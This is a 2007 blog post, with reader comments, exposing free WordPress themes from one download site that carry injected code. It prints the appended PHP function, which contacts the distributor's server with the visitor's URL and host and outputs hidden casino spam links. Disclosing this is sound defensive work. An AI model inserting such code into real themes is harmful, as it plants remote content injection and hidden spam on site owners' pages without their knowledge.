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Templatesbrowser.com puts link spam in WordPress

My brother Wessel used to be very positive about the thousands of free WordPress themes that you can download to markup your weblog.

But one should be careful. With my web page monitoring service Follow That Page, which also monitors hidden text, I found that my brothers website contained hidden commercial links to casinos and hotels. My brother checked it out and discovered the site that is responsible for all this: www.templatesbrowser.com/wordpress-themes/.

How does Templatesbrowser.com work?
On their site, you can download more than hundred free WordPress themes. These themes come from other websites, but Templatesbrowser.com adds a sneaky piece of code at the end of the file functions.php:

function credits()
{
$url = "http://get.templatesbrowser.com/wp.php?" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("get.templatesbrowser.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

If you use one of those templates in your WordPress weblog, this piece of PHP code returns the following HTML code:

<div id="copyl" style="display: none;"><a href="http://www.casinotropez.[...]">casino en ligne</a></div>

This produces a link at the bottom of every WordPress page, that is invisible for human readers.

Templatesbrowser.com apparently does this to increase the pagerank of certain websites. We're not sure if Google falls for this little link spam trick. But if Google does find out that your page contains link spam, you risk being punished. That could mean that your website is removed from Google's search result pages.

More information on Wessel's website www.laterna.nl (Dutch only).

[update]
Templatesbrowser now distributes a version of the CMS Joomla with added phishing techniques, so that they can monitor what your visitors do on your Joomla website.

Onno & Wessel - may 18, 2007, 22:24 - 4 comments

   

This is excellent information! This crap code was in our blog and with your help we removed it! This is a pretty crap thing for Templatebrowser to do...

Pete - july 8, 2007, 18:05

   

thanks a bunch .. i was about to put this theme on a high traffic public blog.

varun - website - july 31, 2007, 22:22

   

The site in question are complete jerks, i have seen then plagerising articles, stealing peoples web content and now using dodgy links, i hope google catch them out.

andrew - mar 11, 2008, 18:11

   

Latest news: Templatesbrowser.com is online again! Beware!

Onno Zweers - july 9, 2009, 14:13

   

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